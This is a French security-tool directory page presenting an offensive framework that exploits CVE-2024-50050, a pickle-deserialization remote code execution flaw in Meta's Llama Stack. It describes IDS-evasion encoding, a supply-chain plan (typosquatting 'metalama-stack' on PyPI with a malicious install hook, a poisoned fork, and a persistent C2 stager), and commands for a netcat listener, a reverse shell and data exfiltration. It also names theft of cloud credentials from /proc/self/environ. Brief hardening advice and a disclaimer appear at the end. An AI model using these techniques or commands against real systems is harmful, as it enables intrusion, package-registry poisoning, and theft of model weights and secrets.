Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
LlamaStack-RCE-Deterministic-Supply-Chain-Exploitation-Hardening-Framework-CVE-2024-50050- — LlamaStack-RCE: Deterministic Supply Chain Exploitation & Hardening Framework [CVE-2024-50050] Focus on AI Security Research AI-SupplyChain-Poisoning: Advanced PVM Opcode Manipulation & ZeroMQ Injection Lab | Kitploit
Outils/GitHubGitHub/sastraadiwiguna-purpleeliteteaming/llamastack-rce-deterministic-supply-chain-exploitation-hardening-framework-cve-2024-50050-
Exploit FrameworksVulnerability AnalysisData ExfiltrationPenetration TestingCommand and ControlSupply Chain SecurityLearning & EducationRed TeamingPayload Development

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
AI Security
Binary Exploitation
Labs & Practice
GitHubsastraadiwiguna-purpleeliteteaming/llamastack-rce-deterministic-supply-chain-exploitation-hardening-framework-cve-2024-50050-

LlamaStack-RCE-Deterministic-Supply-Chain-Exploitation-Hardening-Framework-CVE-2024-50050-

LlamaStack-RCE: Deterministic Supply Chain Exploitation & Hardening Framework [CVE-2024-50050] Focus on AI Security Research AI-SupplyChain-Poisoning: Advanced PVM Opcode Manipulation & ZeroMQ Injection Lab

Voir le dépôtSite web
il y a 7 moisPas encore vérifié
Partager

DOI = doi.org/10.5281/zenodo.18278567

ORCID = orcid.org/0009-0007-7728-256X


💀 LlamaStack-RCE : Cadre d'Exploitation de la Chaîne d'Approvisionnement CVE-2024-50050

MATÉRIEL CLASSIFIÉ SANS RESTRICTION - RÉSERVÉ AUX ÉQUIPES ROUGES AUTORISÉES UNIQUEMENT

1. Résumé Exécutif (Analyse Déterministe)

LlamaStack-RCE est un cadre de simulation et d'exploitation haute fidélité ciblant CVE-2024-50050, une vulnérabilité critique d'exécution de code à distance (RCE) dans la Meta Llama Stack. La vulnérabilité provient d'une dans l'API d'inférence basée sur Python, via l'utilisation du module sur les couches de transport ZeroMQ (0MQ).

Désérialisation Non Sécurisée
pickle

Ce dépôt fournit la chaîne d'attaque complète, de l'empoisonnement de la chaîne d'approvisionnement en amont à l'exécution en aval et à l'exfiltration des poids du modèle.


2. Évasion Technique et Armement

2.1. Anatomie de l'Attaque (Exploitation PVM)

Le cœur de l'exploit cible la Machine Virtuelle Pickle (PVM). En utilisant l'opcode GLOBAL, nous pouvons forcer la PVM à importer n'importe quel module Python disponible et à exécuter des fonctions arbitraires lors du processus de unpickling.

Vecteur d'Attaque : Socket ZeroMQ -> Flux d'Octets Bruts -> pickle.loads() -> RCE.

2.2. Construction de Charge Utile Polymorphe

Pour contourner les systèmes IDS traditionnels basés sur les signatures (Snort/Suricata), le cadre implémente un encodage polymorphe :

  • Exécution Imbriquée Base64 : Encapsule les commandes shell dans du Base64 pour masquer les chaînes littérales comme /bin/bash ou os.system.
  • Obfuscation des Opcodes : Réordonne les instructions PVM pour modifier les signatures binaires sans altérer la logique d'exécution.
  • Contrebande de Paquets : Fragmente la charge utile pickle en plusieurs trames ZeroMQ pour contourner la détection d'anomalies basée sur le volume.

3. Stratégie d'Infiltration de la Chaîne d'Approvisionnement

Le cadre simule une Armement de Chaîne d'Approvisionnement holistique :

PhaseStratégieImplémentation Technique
I : AmontTyposquattingEnregistrement de metalama-stack sur PyPI avec une PostInstallCommand malveillante dans setup.py.
II : DistributionFork EmpoisonnéFork haute performance de Llama Stack sur GitHub avec un « Interpréteur Pickle Caché » dans connection.py.
III : ExécutionDéclenchement CI/CDExécution automatique lors du pip install dans l'environnement Jenkins/GitHub Actions de la cible.
IV : PersistanceBombe LogiqueStager d'arrière-plan multi-étapes pour un accès C2 à long terme et le vol de modèles.

4. Architecture de Laboratoire et Déploiement

4.1. Prérequis

  • Matériel : 4x NVIDIA A100/H100 (pour les tests locaux des poids).
  • OS : Arch Linux ou Kali Linux durci.
  • Environnement : Docker & Docker-Compose (Réseau Isolé).

4.2. Structure des Fichiers

root@kitploit:~
.
├── lab_validator.py          # 7-stage automated validation suite [cite: 206, 264]
├── exploit_cve_2024_50050.py # Main exploitation framework [cite: 138, 206]
├── server.py                 # Vulnerable Llama Stack simulation [cite: 112, 150]
├── setup.py                  # Weaponized supply chain installer [cite: 110, 206]
├── post_exploit.py           # Data harvesting & lateral movement [cite: 210, 264]
└── evasion_library.py        # 12+ advanced evasion methods [cite: 264]

4.3. Workflow d'Exécution

  1. Valider l'Environnement :
root@kitploit:~
python lab_validator.py # Target: 100% Pass Rate [cite: 208, 209]
  1. Lancer l'Écouteur (C2) :
root@kitploit:~
nc -lvnp 4444
  1. Exécuter l'Exploit (Mode Reverse Shell) :
root@kitploit:~
python exploit_cve_2024_50050.py --target 172.20.0.10 --c2 172.20.0.20 --mode shell --shell-type python [cite: 145, 148]
  1. Initier l'Exfiltration de Données :
root@kitploit:~
python exploit_cve_2024_50050.py --target 172.20.0.10 --c2 172.20.0.20 --mode exfil [cite: 146, 148]

5. Évaluation de l'Impact (Criticité : 10/10)

Une exploitation réussie permet un contrôle absolu sur l'Infrastructure IA :

  • Vol de Propriété Intellectuelle : Vol des poids du modèle .safetensors (estimé entre 10 M$ et 100 M$+).
  • Détournement de GPU : Allocation non autorisée de ressources CUDA pour du Cryptojacking ou de l'Entraînement Clandestin.
  • Manipulation d'Inférence : Empoisonnement des réponses du modèle pour provoquer des défaillances systémiques dans les applications en aval (IA Médicale/Juridique).
  • Vol d'Identifiants : Extraction des clés AWS/GCP et des configurations K8s depuis /proc/self/environ.

6. Durcissement Déterministe (Recommandations pour l'Équipe Violette)

Pour atténuer CVE-2024-50050, les règles absolues suivantes doivent être appliquées :

  1. Éradiquer Pickle : Remplacer tous les pickle.loads() par safetensors.torch.load_file() ou msgpack avec un schéma strict.
  2. Durcissement ZMQ : Implémenter ZMQ_CURVE avec des paires de clés Publique/Privée et ne jamais se lier à 0.0.0.0.
  3. Isolation de l'Infrastructure : Exécuter les processus IA dans gVisor ou Kata Containers pour empêcher l'évasion de conteneur via RCE.
  4. Micro-segmentation Réseau : Isoler le Serveur d'Inférence d'Internet public en utilisant des règles d'entrée/sortie strictement définies.

7. Avertissement Légal

AVIS JURIDIQUE : L'utilisation de ce cadre pour attaquer des cibles sans autorisation écrite préalable est illégale. Il est fourni uniquement à des fins éducatives et de tests de pénétration autorisés. L'auteur (Sastra_Adi_Wiguna) décline toute responsabilité en cas d'utilisation abusive.


DOCUMENT CLASSIFIÉ : PURPLE_ELITE_TEAMING_DEEP_REVERSE_ENGINEERING 2026 STATUT DÉTERMINISTE : PRÊT POUR LA PRODUCTION (98/100)

Télécharger l’outil